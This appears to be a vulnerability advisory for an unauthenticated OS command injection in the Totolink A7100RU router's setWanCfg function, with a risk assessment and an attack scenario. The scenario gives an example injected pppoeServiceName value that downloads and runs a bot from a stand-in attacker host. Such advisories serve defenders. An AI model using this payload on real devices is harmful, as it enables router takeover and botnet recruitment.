A7100Ru EUVD-2026-21810

Remote unauthenticated attacker can exploit the setWanCfg function in /cgi-bin/cstecgi.cgi on Totolik A7100RU firmware 7.4cu.2313 by manipulating the pppoeServiceName parameter to inject OS commands. No authentication or user interaction required.

Real-world risk is HIGH despite limited enterprise exposure due to SOHO device targeting. CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates trivial exploitation: network-accessible, low attack complexity, no authentication required, and no user interaction needed. The E:P (Proof-of-concept code exists) modifier confirms GitHub POC availability, lowering exploitation barrier significantly. While no CISA KEV listing suggests limited mass exploitation campaigns to date, publicly available exploit code for unauthenticated remote command injection in consumer routers typically leads to rapid botnet incorporation within weeks. SOHO routers often remain unpatched indefinitely due to consumer neglect and vendor abandonment. SSVC framework assessment: exploitation=POC, automatable=yes (network-accessible RCE), technical impact=total (root-level access). Prioritize if Totolink devices are present; otherwise deprioritize for enterprise environments but critical for SOHO/SMB networks. EPSS data not provided, but similar router RCE vulnerabilities typically score 30-60% exploitation probability within 12 months.

An unauthenticated attacker scans the internet for Totolink A7100RU routers exposing the web management interface on WAN ports. Using the publicly available GitHub POC exploit, the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi with a malicious pppoeServiceName parameter containing shell commands (e.g., ';wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;'). The vulnerable setWanCfg function executes these commands as root, downloading and launching botnet malware. The compromised router joins a DDoS botnet, exfiltrates DNS queries for credential harvesting, or pivots into the internal network to attack connected devices.